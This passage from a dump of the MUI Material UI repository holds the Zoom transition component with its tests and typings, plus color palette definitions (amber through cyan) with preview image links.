*\n * Demos:\n *\n * - [Transitions](https://next.mui.com/material-ui/transitions/)\n *\n * API:\n *\n * - [Zoom API](https://next.mui.com/material-ui/api/zoom/)\n * - inherits [Transition API](https://reactcommunity.org/react-transition-group/transition/#Transition-props)\n */\nexport default function Zoom(props: ZoomProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Zoom/Zoom.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Transition } from 'react-transition-group';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport { useTheme } from '../zero-styled';\nimport { reflow, getTransitionProps } from '../transitions/utils';\nimport useForkRef from '../utils/useForkRef';\n\nconst styles = {\n  entering: {\n    transform: 'none',\n  },\n  entered: {\n    transform: 'none',\n  },\n};\n\n/**\n * The Zoom transition can be used for the floating variant of the\n * [Button](/material-ui/react-floating-action-button/#animation) component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n */\nconst Zoom = React.forwardRef(function Zoom(props, ref) {\n  const theme = useTheme();\n  const defaultTimeout = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    addEndListener,\n    appear = true,\n    children,\n    easing,\n    in: inProp,\n    onEnter,\n    onEntered,\n    onEntering,\n    onExit,\n    onExited,\n    onExiting,\n    style,\n    timeout = defaultTimeout,\n    // eslint-disable-next-line react/prop-types\n    TransitionComponent = Transition,\n    ...other\n  } = props;\n\n  const nodeRef = React.useRef(null);\n  const handleRef = useForkRef(nodeRef, getReactElementRef(children), ref);\n\n  const normalizedTransitionCallback = (callback) => (maybeIsAppearing) => {\n    if (callback) {\n      const node = nodeRef.current;\n\n      // onEnterXxx and onExitXxx callbacks have a different arguments.length value.\n      if (maybeIsAppearing === undefined) {\n        callback(node);\n      } else {\n        callback(node, maybeIsAppearing);\n      }\n    }\n  };\n\n  const handleEntering = normalizedTransitionCallback(onEntering);\n\n  const handleEnter = normalizedTransitionCallback((node, isAppearing) => {\n    reflow(node); // So the animation always start from the start.\n\n    const transitionProps = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'enter',\n      },\n    );\n\n    node.style.webkitTransition = theme.transitions.create('transform', transitionProps);\n    node.style.transition = theme.transitions.create('transform', transitionProps);\n\n    if (onEnter) {\n      onEnter(node, isAppearing);\n    }\n  });\n\n  const handleEntered = normalizedTransitionCallback(onEntered);\n\n  const handleExiting = normalizedTransitionCallback(onExiting);\n\n  const handleExit = normalizedTransitionCallback((node) => {\n    const transitionProps = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'exit',\n      },\n    );\n\n    node.style.webkitTransition = theme.transitions.create('transform', transitionProps);\n    node.style.transition = theme.transitions.create('transform', transitionProps);\n\n    if (onExit) {\n      onExit(node);\n    }\n  });\n\n  const handleExited = normalizedTransitionCallback(onExited);\n\n  const handleAddEndListener = (next) => {\n    if (addEndListener) {\n      // Old call signature before `react-transition-group` implemented `nodeRef`\n      addEndListener(nodeRef.current, next);\n    }\n  };\n\n  return (\n    <TransitionComponent\n      appear={appear}\n      in={inProp}\n      nodeRef={nodeRef}\n      onEnter={handleEnter}\n      onEntered={handleEntered}\n      onEntering={handleEntering}\n      onExit={handleExit}\n      onExited={handleExited}\n      onExiting={handleExiting}\n      addEndListener={handleAddEndListener}\n      timeout={timeout}\n      {...other}\n    >\n      {/* Ensure \"ownerState\" is not forwarded to the child DOM element when a direct HTML element is used. This avoids unexpected behavior since \"ownerState\" is intended for internal styling, component props and not as a DOM attribute. */}\n      {(state, { ownerState, ...restChildProps }) => {\n        return React.cloneElement(children, {\n          style: {\n            transform: 'scale(0)',\n            visibility: state === 'exited' && !inProp ? 'hidden' : undefined,\n            ...styles[state],\n            ...style,\n            ...children.props.style,\n          },\n          ref: handleRef,\n          ...restChildProps,\n        });\n      }}\n    </TransitionComponent>\n  );\n});\n\nZoom.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Add a custom transition end trigger. Called with the transitioning DOM\n   * node and a done callback. Allows for more fine grained transition end\n   * logic. Note: Timeouts are still used as a fallback if provided.\n   */\n  addEndListener: PropTypes.func,\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear: PropTypes.bool,\n  /**\n   * A single child content element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing: PropTypes.oneOfType([\n    PropTypes.shape({\n      enter: PropTypes.string,\n      exit: PropTypes.string,\n    }),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will transition in.\n   */\n  in: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntered: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntering: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExit: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExited: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExiting: PropTypes.func,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  timeout: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Zoom;\n"
  },
  {
    "path": "packages/mui-material/src/Zoom/Zoom.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { Transition } from 'react-transition-group';\nimport Zoom from '@mui/material/Zoom';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Zoom />', () => {\n  const { clock, render } = createRenderer();\n\n  describeConformance(\n    <Zoom in>\n      <div />\n    </Zoom>,\n    () => ({\n      render,\n      classes: {},\n      inheritComponent: Transition,\n      refInstanceof: window.HTMLDivElement,\n      skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n    }),\n  );\n\n  describe('transition lifecycle', () => {\n    clock.withFakeTimers();\n\n    it('tests', () => {\n      const handleAddEndListener = spy();\n      const handleEnter = spy();\n      const handleEntering = spy();\n      const handleEntered = spy();\n      const handleExit = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n      const { container, setProps } = render(\n        <Zoom\n          addEndListener={handleAddEndListener}\n          onEnter={handleEnter}\n          onEntering={handleEntering}\n          onEntered={handleEntered}\n          onExit={handleExit}\n          onExiting={handleExiting}\n          onExited={handleExited}\n        >\n          <div id=\"test\" />\n        </Zoom>,\n      );\n      const child = container.querySelector('#test');\n\n      setProps({ in: true });\n\n      expect(handleAddEndListener.callCount).to.equal(1);\n      expect(handleAddEndListener.args[0][0]).to.equal(child);\n      expect(typeof handleAddEndListener.args[0][1]).to.equal('function');\n\n      expect(handleEnter.callCount).to.equal(1);\n      expect(handleEnter.args[0][0]).to.equal(child);\n\n      expect(handleEnter.args[0][0].style.transition).to.match(\n        /transform 225ms cubic-bezier\\(0.4, 0, 0.2, 1\\)( 0ms)?/,\n      );\n\n      expect(handleEntering.callCount).to.equal(1);\n      expect(handleEntering.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleEntered.args[0][0]).to.equal(child);\n\n      setProps({ in: false });\n\n      expect(handleExit.callCount).to.equal(1);\n      expect(handleExit.args[0][0]).to.equal(child);\n\n      expect(handleExit.args[0][0].style.transition).to.match(\n        /transform 195ms cubic-bezier\\(0.4, 0, 0.2, 1\\)( 0ms)?/,\n      );\n\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n      expect(handleExited.callCount).to.equal(1);\n      expect(handleExited.args[0][0]).to.equal(child);\n    });\n  });\n\n  describe('prop: appear', () => {\n    it('should work when initially hidden: appear=true', () => {\n      const { container } = render(\n        <Zoom in={false} appear>\n          <div>Foo</div>\n        </Zoom>,\n      );\n\n      const element = container.querySelector('div');\n\n      expect(element.style).to.have.property('transform', 'scale(0)');\n      expect(element.style).to.have.property('visibility', 'hidden');\n    });\n\n    it('should work when initially hidden: appear=false', () => {\n      const { container } = render(\n        <Zoom in={false} appear={false}>\n          <div>Foo</div>\n        </Zoom>,\n      );\n      const element = container.querySelector('div');\n\n      expect(element.style).to.have.property('transform', 'scale(0)');\n      expect(element.style).to.have.property('visibility', 'hidden');\n    });\n  });\n\n  describe('prop: timeout', () => {\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n\n      render(\n        <Zoom in appear>\n          <div data-testid=\"child\">Foo</div>\n        </Zoom>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({\n        transitionDuration: `${enteringScreenDurationInSeconds}s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Zoom in appear>\n            <div data-testid=\"child\">Foo</div>\n          </Zoom>\n        </ThemeProvider>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n\n    it.skipIf(isJsdom())('should render the values provided via prop', function test() {\n      render(\n        <Zoom in appear timeout={{ enter: 1 }}>\n          <div data-testid=\"child\">Foo</div>\n        </Zoom>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Zoom/index.d.ts",
    "content": "export { default } from './Zoom';\nexport * from './Zoom';\n"
  },
  {
    "path": "packages/mui-material/src/Zoom/index.js",
    "content": "export { default } from './Zoom';\n"
  },
  {
    "path": "packages/mui-material/src/className/index.ts",
    "content": "// eslint-disable-next-line import/prefer-default-export\nexport { default as unstable_ClassNameGenerator } from '@mui/utils/ClassNameGenerator';\n"
  },
  {
    "path": "packages/mui-material/src/colors/amber.d.ts",
    "content": "/**\n * ![amber 50](https://mui.com/static/colors-preview/amber-50-24x24.png) ![amber 100](https://mui.com/static/colors-preview/amber-100-24x24.png) ![amber 200](https://mui.com/static/colors-preview/amber-200-24x24.png) ![amber 300](https://mui.com/static/colors-preview/amber-300-24x24.png) ![amber 400](https://mui.com/static/colors-preview/amber-400-24x24.png) ![amber 500](https://mui.com/static/colors-preview/amber-500-24x24.png) ![amber 600](https://mui.com/static/colors-preview/amber-600-24x24.png) ![amber 700](https://mui.com/static/colors-preview/amber-700-24x24.png) ![amber 800](https://mui.com/static/colors-preview/amber-800-24x24.png) ![amber 900](https://mui.com/static/colors-preview/amber-900-24x24.png) ![amber A100](https://mui.com/static/colors-preview/amber-A100-24x24.png) ![amber A200](https://mui.com/static/colors-preview/amber-A200-24x24.png) ![amber A400](https://mui.com/static/colors-preview/amber-A400-24x24.png) ![amber A700](https://mui.com/static/colors-preview/amber-A700-24x24.png)\n */\ndeclare const amber: {\n  /**\n   * Preview: ![amber 50](https://mui.com/static/colors-preview/amber-50-24x24.png)\n   */\n  50: '#fff8e1';\n  /**\n   * Preview: ![amber 100](https://mui.com/static/colors-preview/amber-100-24x24.png)\n   */\n  100: '#ffecb3';\n  /**\n   * Preview: ![amber 200](https://mui.com/static/colors-preview/amber-200-24x24.png)\n   */\n  200: '#ffe082';\n  /**\n   * Preview: ![amber 300](https://mui.com/static/colors-preview/amber-300-24x24.png)\n   */\n  300: '#ffd54f';\n  /**\n   * Preview: ![amber 400](https://mui.com/static/colors-preview/amber-400-24x24.png)\n   */\n  400: '#ffca28';\n  /**\n   * Preview: ![amber 500](https://mui.com/static/colors-preview/amber-500-24x24.png)\n   */\n  500: '#ffc107';\n  /**\n   * Preview: ![amber 600](https://mui.com/static/colors-preview/amber-600-24x24.png)\n   */\n  600: '#ffb300';\n  /**\n   * Preview: ![amber 700](https://mui.com/static/colors-preview/amber-700-24x24.png)\n   */\n  700: '#ffa000';\n  /**\n   * Preview: ![amber 800](https://mui.com/static/colors-preview/amber-800-24x24.png)\n   */\n  800: '#ff8f00';\n  /**\n   * Preview: ![amber 900](https://mui.com/static/colors-preview/amber-900-24x24.png)\n   */\n  900: '#ff6f00';\n  /**\n   * Preview: ![amber A100](https://mui.com/static/colors-preview/amber-A100-24x24.png)\n   */\n  A100: '#ffe57f';\n  /**\n   * Preview: ![amber A200](https://mui.com/static/colors-preview/amber-A200-24x24.png)\n   */\n  A200: '#ffd740';\n  /**\n   * Preview: ![amber A400](https://mui.com/static/colors-preview/amber-A400-24x24.png)\n   */\n  A400: '#ffc400';\n  /**\n   * Preview: ![amber A700](https://mui.com/static/colors-preview/amber-A700-24x24.png)\n   */\n  A700: '#ffab00';\n};\n\nexport default amber;\n"
  },
  {
    "path": "packages/mui-material/src/colors/amber.js",
    "content": "const amber = {\n  50: '#fff8e1',\n  100: '#ffecb3',\n  200: '#ffe082',\n  300: '#ffd54f',\n  400: '#ffca28',\n  500: '#ffc107',\n  600: '#ffb300',\n  700: '#ffa000',\n  800: '#ff8f00',\n  900: '#ff6f00',\n  A100: '#ffe57f',\n  A200: '#ffd740',\n  A400: '#ffc400',\n  A700: '#ffab00',\n};\n\nexport default amber;\n"
  },
  {
    "path": "packages/mui-material/src/colors/blue.d.ts",
    "content": "/**\n * ![blue 50](https://mui.com/static/colors-preview/blue-50-24x24.png) ![blue 100](https://mui.com/static/colors-preview/blue-100-24x24.png) ![blue 200](https://mui.com/static/colors-preview/blue-200-24x24.png) ![blue 300](https://mui.com/static/colors-preview/blue-300-24x24.png) ![blue 400](https://mui.com/static/colors-preview/blue-400-24x24.png) ![blue 500](https://mui.com/static/colors-preview/blue-500-24x24.png) ![blue 600](https://mui.com/static/colors-preview/blue-600-24x24.png) ![blue 700](https://mui.com/static/colors-preview/blue-700-24x24.png) ![blue 800](https://mui.com/static/colors-preview/blue-800-24x24.png) ![blue 900](https://mui.com/static/colors-preview/blue-900-24x24.png) ![blue A100](https://mui.com/static/colors-preview/blue-A100-24x24.png) ![blue A200](https://mui.com/static/colors-preview/blue-A200-24x24.png) ![blue A400](https://mui.com/static/colors-preview/blue-A400-24x24.png) ![blue A700](https://mui.com/static/colors-preview/blue-A700-24x24.png)\n */\ndeclare const blue: {\n  /**\n   * Preview: ![blue 50](https://mui.com/static/colors-preview/blue-50-24x24.png)\n   */\n  50: '#e3f2fd';\n  /**\n   * Preview: ![blue 100](https://mui.com/static/colors-preview/blue-100-24x24.png)\n   */\n  100: '#bbdefb';\n  /**\n   * Preview: ![blue 200](https://mui.com/static/colors-preview/blue-200-24x24.png)\n   */\n  200: '#90caf9';\n  /**\n   * Preview: ![blue 300](https://mui.com/static/colors-preview/blue-300-24x24.png)\n   */\n  300: '#64b5f6';\n  /**\n   * Preview: ![blue 400](https://mui.com/static/colors-preview/blue-400-24x24.png)\n   */\n  400: '#42a5f5';\n  /**\n   * Preview: ![blue 500](https://mui.com/static/colors-preview/blue-500-24x24.png)\n   */\n  500: '#2196f3';\n  /**\n   * Preview: ![blue 600](https://mui.com/static/colors-preview/blue-600-24x24.png)\n   */\n  600: '#1e88e5';\n  /**\n   * Preview: ![blue 700](https://mui.com/static/colors-preview/blue-700-24x24.png)\n   */\n  700: '#1976d2';\n  /**\n   * Preview: ![blue 800](https://mui.com/static/colors-preview/blue-800-24x24.png)\n   */\n  800: '#1565c0';\n  /**\n   * Preview: ![blue 900](https://mui.com/static/colors-preview/blue-900-24x24.png)\n   */\n  900: '#0d47a1';\n  /**\n   * Preview: ![blue A100](https://mui.com/static/colors-preview/blue-A100-24x24.png)\n   */\n  A100: '#82b1ff';\n  /**\n   * Preview: ![blue A200](https://mui.com/static/colors-preview/blue-A200-24x24.png)\n   */\n  A200: '#448aff';\n  /**\n   * Preview: ![blue A400](https://mui.com/static/colors-preview/blue-A400-24x24.png)\n   */\n  A400: '#2979ff';\n  /**\n   * Preview: ![blue A700](https://mui.com/static/colors-preview/blue-A700-24x24.png)\n   */\n  A700: '#2962ff';\n};\n\nexport default blue;\n"
  },
  {
    "path": "packages/mui-material/src/colors/blue.js",
    "content": "const blue = {\n  50: '#e3f2fd',\n  100: '#bbdefb',\n  200: '#90caf9',\n  300: '#64b5f6',\n  400: '#42a5f5',\n  500: '#2196f3',\n  600: '#1e88e5',\n  700: '#1976d2',\n  800: '#1565c0',\n  900: '#0d47a1',\n  A100: '#82b1ff',\n  A200: '#448aff',\n  A400: '#2979ff',\n  A700: '#2962ff',\n};\n\nexport default blue;\n"
  },
  {
    "path": "packages/mui-material/src/colors/blueGrey.d.ts",
    "content": "/**\n * ![blueGrey 50](https://mui.com/static/colors-preview/blueGrey-50-24x24.png) ![blueGrey 100](https://mui.com/static/colors-preview/blueGrey-100-24x24.png) ![blueGrey 200](https://mui.com/static/colors-preview/blueGrey-200-24x24.png) ![blueGrey 300](https://mui.com/static/colors-preview/blueGrey-300-24x24.png) ![blueGrey 400](https://mui.com/static/colors-preview/blueGrey-400-24x24.png) ![blueGrey 500](https://mui.com/static/colors-preview/blueGrey-500-24x24.png) ![blueGrey 600](https://mui.com/static/colors-preview/blueGrey-600-24x24.png) ![blueGrey 700](https://mui.com/static/colors-preview/blueGrey-700-24x24.png) ![blueGrey 800](https://mui.com/static/colors-preview/blueGrey-800-24x24.png) ![blueGrey 900](https://mui.com/static/colors-preview/blueGrey-900-24x24.png) ![blueGrey A100](https://mui.com/static/colors-preview/blueGrey-A100-24x24.png) ![blueGrey A200](https://mui.com/static/colors-preview/blueGrey-A200-24x24.png) ![blueGrey A400](https://mui.com/static/colors-preview/blueGrey-A400-24x24.png) ![blueGrey A700](https://mui.com/static/colors-preview/blueGrey-A700-24x24.png)\n */\ndeclare const blueGrey: {\n  /**\n   * Preview: ![blueGrey 50](https://mui.com/static/colors-preview/blueGrey-50-24x24.png)\n   */\n  50: '#eceff1';\n  /**\n   * Preview: ![blueGrey 100](https://mui.com/static/colors-preview/blueGrey-100-24x24.png)\n   */\n  100: '#cfd8dc';\n  /**\n   * Preview: ![blueGrey 200](https://mui.com/static/colors-preview/blueGrey-200-24x24.png)\n   */\n  200: '#b0bec5';\n  /**\n   * Preview: ![blueGrey 300](https://mui.com/static/colors-preview/blueGrey-300-24x24.png)\n   */\n  300: '#90a4ae';\n  /**\n   * Preview: ![blueGrey 400](https://mui.com/static/colors-preview/blueGrey-400-24x24.png)\n   */\n  400: '#78909c';\n  /**\n   * Preview: ![blueGrey 500](https://mui.com/static/colors-preview/blueGrey-500-24x24.png)\n   */\n  500: '#607d8b';\n  /**\n   * Preview: ![blueGrey 600](https://mui.com/static/colors-preview/blueGrey-600-24x24.png)\n   */\n  600: '#546e7a';\n  /**\n   * Preview: ![blueGrey 700](https://mui.com/static/colors-preview/blueGrey-700-24x24.png)\n   */\n  700: '#455a64';\n  /**\n   * Preview: ![blueGrey 800](https://mui.com/static/colors-preview/blueGrey-800-24x24.png)\n   */\n  800: '#37474f';\n  /**\n   * Preview: ![blueGrey 900](https://mui.com/static/colors-preview/blueGrey-900-24x24.png)\n   */\n  900: '#263238';\n  /**\n   * Preview: ![blueGrey A100](https://mui.com/static/colors-preview/blueGrey-A100-24x24.png)\n   */\n  A100: '#cfd8dc';\n  /**\n   * Preview: ![blueGrey A200](https://mui.com/static/colors-preview/blueGrey-A200-24x24.png)\n   */\n  A200: '#b0bec5';\n  /**\n   * Preview: ![blueGrey A400](https://mui.com/static/colors-preview/blueGrey-A400-24x24.png)\n   */\n  A400: '#78909c';\n  /**\n   * Preview: ![blueGrey A700](https://mui.com/static/colors-preview/blueGrey-A700-24x24.png)\n   */\n  A700: '#455a64';\n};\n\nexport default blueGrey;\n"
  },
  {
    "path": "packages/mui-material/src/colors/blueGrey.js",
    "content": "const blueGrey = {\n  50: '#eceff1',\n  100: '#cfd8dc',\n  200: '#b0bec5',\n  300: '#90a4ae',\n  400: '#78909c',\n  500: '#607d8b',\n  600: '#546e7a',\n  700: '#455a64',\n  800: '#37474f',\n  900: '#263238',\n  A100: '#cfd8dc',\n  A200: '#b0bec5',\n  A400: '#78909c',\n  A700: '#455a64',\n};\n\nexport default blueGrey;\n"
  },
  {
    "path": "packages/mui-material/src/colors/brown.d.ts",
    "content": "/**\n * ![brown 50](https://mui.com/static/colors-preview/brown-50-24x24.png) ![brown 100](https://mui.com/static/colors-preview/brown-100-24x24.png) ![brown 200](https://mui.com/static/colors-preview/brown-200-24x24.png) ![brown 300](https://mui.com/static/colors-preview/brown-300-24x24.png) ![brown 400](https://mui.com/static/colors-preview/brown-400-24x24.png) ![brown 500](https://mui.com/static/colors-preview/brown-500-24x24.png) ![brown 600](https://mui.com/static/colors-preview/brown-600-24x24.png) ![brown 700](https://mui.com/static/colors-preview/brown-700-24x24.png) ![brown 800](https://mui.com/static/colors-preview/brown-800-24x24.png) ![brown 900](https://mui.com/static/colors-preview/brown-900-24x24.png) ![brown A100](https://mui.com/static/colors-preview/brown-A100-24x24.png) ![brown A200](https://mui.com/static/colors-preview/brown-A200-24x24.png) ![brown A400](https://mui.com/static/colors-preview/brown-A400-24x24.png) ![brown A700](https://mui.com/static/colors-preview/brown-A700-24x24.png)\n */\ndeclare const brown: {\n  /**\n   * Preview: ![brown 50](https://mui.com/static/colors-preview/brown-50-24x24.png)\n   */\n  50: '#efebe9';\n  /**\n   * Preview: ![brown 100](https://mui.com/static/colors-preview/brown-100-24x24.png)\n   */\n  100: '#d7ccc8';\n  /**\n   * Preview: ![brown 200](https://mui.com/static/colors-preview/brown-200-24x24.png)\n   */\n  200: '#bcaaa4';\n  /**\n   * Preview: ![brown 300](https://mui.com/static/colors-preview/brown-300-24x24.png)\n   */\n  300: '#a1887f';\n  /**\n   * Preview: ![brown 400](https://mui.com/static/colors-preview/brown-400-24x24.png)\n   */\n  400: '#8d6e63';\n  /**\n   * Preview: ![brown 500](https://mui.com/static/colors-preview/brown-500-24x24.png)\n   */\n  500: '#795548';\n  /**\n   * Preview: ![brown 600](https://mui.com/static/colors-preview/brown-600-24x24.png)\n   */\n  600: '#6d4c41';\n  /**\n   * Preview: ![brown 700](https://mui.com/static/colors-preview/brown-700-24x24.png)\n   */\n  700: '#5d4037';\n  /**\n   * Preview: ![brown 800](https://mui.com/static/colors-preview/brown-800-24x24.png)\n   */\n  800: '#4e342e';\n  /**\n   * Preview: ![brown 900](https://mui.com/static/colors-preview/brown-900-24x24.png)\n   */\n  900: '#3e2723';\n  /**\n   * Preview: ![brown A100](https://mui.com/static/colors-preview/brown-A100-24x24.png)\n   */\n  A100: '#d7ccc8';\n  /**\n   * Preview: ![brown A200](https://mui.com/static/colors-preview/brown-A200-24x24.png)\n   */\n  A200: '#bcaaa4';\n  /**\n   * Preview: ![brown A400](https://mui.com/static/colors-preview/brown-A400-24x24.png)\n   */\n  A400: '#8d6e63';\n  /**\n   * Preview: ![brown A700](https://mui.com/static/colors-preview/brown-A700-24x24.png)\n   */\n  A700: '#5d4037';\n};\n\nexport default brown;\n"
  },
  {
    "path": "packages/mui-material/src/colors/brown.js",
    "content": "const brown = {\n  50: '#efebe9',\n  100: '#d7ccc8',\n  200: '#bcaaa4',\n  300: '#a1887f',\n  400: '#8d6e63',\n  500: '#795548',\n  600: '#6d4c41',\n  700: '#5d4037',\n  800: '#4e342e',\n  900: '#3e2723',\n  A100: '#d7ccc8',\n  A200: '#bcaaa4',\n  A400: '#8d6e63',\n  A700: '#5d4037',\n};\n\nexport default brown;\n"
  },
  {
    "path": "packages/mui-material/src/colors/colors.spec.tsx",
    "content": "import { Color, colors } from '@mui/material';\n\ntype KeysEquivalent<T, U> = keyof T extends keyof U\n  ? keyof U extends keyof T\n    ? true\n    : false\n  : false;\n\nfunction colorTypeMatches(variants: keyof Color) {\n  // Checking that each color has the exact shape as Color\n  // we don't use the Color type for these to provide JSDoc for each color\n  // in which we preview the color\n  const amber: KeysEquivalent<Color, typeof colors.amber> = true;\n  const blue: KeysEquivalent<Color, typeof colors.blue> = true;\n  const blueGrey: KeysEquivalent<Color, typeof colors.blueGrey> = true;\n  const brown: KeysEquivalent<Color, typeof colors.brown> = true;\n  // common does not have the `Common` type (nice pun)\n  // const common: KeysEquivalent<Color, typeof colors.common> = true;\n  const cyan: KeysEquivalent<Color, typeof colors.cyan> = true;\n  const deepOrange: KeysEquivalent<Color, typeof colors.deepOrange> = true;\n  const deepPurple: KeysEquivalent<Color, typeof colors.deepPurple> = true;\n  const green: KeysEquivalent<Color, typeof colors.green> = true;\n  const grey: KeysEquivalent<Color, typeof colors.grey> = true;\n  const indigo: KeysEquivalent<Color, typeof colors.indigo> = true;\n  const lightBlue: KeysEquivalent<Color, typeof colors.lightBlue> = true;\n  const lightGreen: KeysEquivalent<Color, typeof colors.lightGreen> = true;\n  const lime: KeysEquivalent<Color, typeof colors.lime> = true;\n  const orange: KeysEquivalent<Color, typeof colors.orange> = true;\n  const pink: KeysEquivalent<Color, typeof colors.pink> = true;\n  const purple: KeysEquivalent<Color, typeof colors.purple> = true;\n  const red: KeysEquivalent<Color, typeof colors.red> = true;\n  const teal: KeysEquivalent<Color, typeof colors.teal> = true;\n  const yellow: KeysEquivalent<Color, typeof colors.yellow> = true;\n}\n"
  },
  {
    "path": "packages/mui-material/src/colors/common.d.ts",
    "content": "/**\n * ![common black](https://mui.com/static/colors-preview/common-black-24x24.png) ![common white](https://mui.com/static/colors-preview/common-white-24x24.png)\n */\ndeclare const common: {\n  /**\n   * Preview: ![common black](https://mui.com/static/colors-preview/common-black-24x24.png)\n   */\n  black: '#000';\n  /**\n   * Preview: ![common white](https://mui.com/static/colors-preview/common-white-24x24.png)\n   */\n  white: '#fff';\n};\n\nexport default common;\n"
  },
  {
    "path": "packages/mui-material/src/colors/common.js",
    "content": "const common = {\n  black: '#000',\n  white: '#fff',\n};\n\nexport default common;\n"
  },
  {
    "path": "packages/mui-material/src/colors/cyan.d.ts",
    "content": "/**\n * ![cyan 50](https://mui.com/static/colors-preview/cyan-50-24x24.png) ![cyan 100](https://mui.com/static/colors-preview/cyan-100-24x24.png) ![cyan 200](https://mui.com/static/colors-preview/cyan-200-24x24.png) ![cyan 300](https://mui.com/static/colors-preview/cyan-300-24x24.png) ![cyan 400](https://mui.com/static/colors-preview/cyan-400-24x24.png) ![cyan 500](https://mui.com/static/colors-preview/cyan-500-24x24.png) ![cyan 600](https://mui.com/static/colors-preview/cyan-600-24x24.png) ![cyan 700](https://mui.com/static/colors-preview/cyan-700-24x24.png) ![cyan 800](https://mui.com/static/colors-preview/cyan-800-24x24.png) ![cyan 900](https://mui.com/static/colors-preview/cyan-900-24x24.png) ![cyan A100](https://mui.com/static/colors-preview/cyan-A100-24x24.png) ![cyan A200](https://mui.com/static/colors-preview/cyan-A200-24x24.png) ![cyan A400](https://mui.com/static/colors-preview/cyan-A400-24x24.png) ![cyan A700](https://mui.com/static/colors-preview/cyan-A700-24x24.png)\n */\ndeclare const cyan: {\n  /**\n   * Preview: ![cyan 50](https://mui.com/static/colors-preview/cyan-50-24x24.png)\n   */\n  50: '#e0f7fa';\n  /**\n   * Preview: ![cyan 100](https://mui.com/static/colors-preview/cyan-100-24x24.png)\n   */\n  100: '#b2ebf2';\n  /**\n   * Preview: ![cyan 200](https://mui.com/static/colors-preview/cyan-200-24x24.png)\n   */\n  200: '#80deea';\n  /**\n   * Preview: ![cyan 300](https://mui.com/static/colors-preview/cyan-300-24x24.png)\n   */\n  300: '#4dd0e1';\n  /**\n   * Preview: ![cyan 400](https://mui.com/static/colors-preview/cyan-400-24x24.png)\n   */\n  400: '#26c6da';\n  /**\n   * Preview: ![cyan 500](https://mui.com/static/colors-preview/cyan-500-24x24.png)\n   */\n  500: '#00bcd4';\n  /**\n   * Preview: ![cyan 600](https://mui.com/static/colors-preview/cyan-600-24x24.png)\n   */\n  600: '#00acc1';\n  /**\n   * Preview: ![cyan 700](https://mui.com/static/colors-preview/cyan-700-24x24.png)\n   */\n  700: '#0097a7';\n  /**\n   * Preview: ![cyan 800](https://mui.com/static/colors-preview/cyan-800-24x24.png)\n   */\n  800: '#00838f';\n  /**\n   * Preview: ![cyan 900](https://mui.com/static/colors-preview/cyan-900-24x24.png)\n   */\n  900: '#006064';\n  /**\n   * Preview: ![cyan A100](https://mui.com/static/colors-preview/cyan-A100-24x24.png)\n   */\n  A100: '#84ffff';\n  /**\n   * Preview: ![cyan A200](https://mui.com/static/colors-preview/cyan-A200-24x24.png)\n   */\n  A200: '#18ffff';\n  /**\n   * Preview: ![cyan A400](https://mui.com/static/colors-preview/cyan-A400-24x24.png)\n   */\n  A400: '#00e5ff';\n  /**\n   * Preview: ![cyan A700](https://mui.com/static/colors-preview/cyan-A700-24x24.png)\n   */\n  A700: '#00b8d4';\n};\n\nexport default cyan;\n"
  },
  {
    "path": "packages/mui-material/src/colors/cyan.js",
